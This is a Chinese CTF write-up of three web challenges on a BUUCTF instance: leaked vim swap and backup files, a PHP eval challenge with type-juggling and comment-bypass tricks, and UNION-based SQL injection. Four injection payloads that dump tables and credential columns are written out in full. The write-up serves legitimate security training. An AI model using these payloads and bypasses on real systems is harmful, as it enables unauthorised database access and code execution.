目录
我真的会谢
进入页面
flag被藏在了三个部分,从意思上来分析应该是信息泄露题。可以看这个链接:CTF信息泄露总结 - 码农教程
查看源码
猜测VIM信息泄露,相关知识看这里https://blog.csdn.net/qq_40317852/article/details/121582515
访问下载得到vim缓存文件。
http://6da2ea4f-31d7-4e8d-8a1c-cbdbfe10a129.node4.buuoj.cn:81/.index.php.swp
之后靠经验访问一下robots.txt
之后访问/www.zip解压得到最后一部分flag
NotPHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
} Pass it!
利用data伪协议绕过第一个if,再利用md5对数组参数的弱点绕过第二个if;最后利用PHP弱类型的特点绕过最后一个if。观察到最后一个eval有一个注释符,我们只需要利用%0a作为换行符即可绕过,这是因为"#"只是单行注释。
Word-For-You
关键字:数据库 --> SQL注入
尝试联合注入,发现回显点在第二个位置。运气真好,莫名猜对列数0.0
1' union select 1,database()#
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='wfy_admin'#
1' union select 1,group_concat(username,password,cookie) from wfy_admin#
空的??先查别的表试试。。
不在wfy_information表。。查最后一个表吧!
最后终于找到flag了,注意group_concat不能太长,否则页面啥也不会显示。后续我测试好像是只能拼接两列。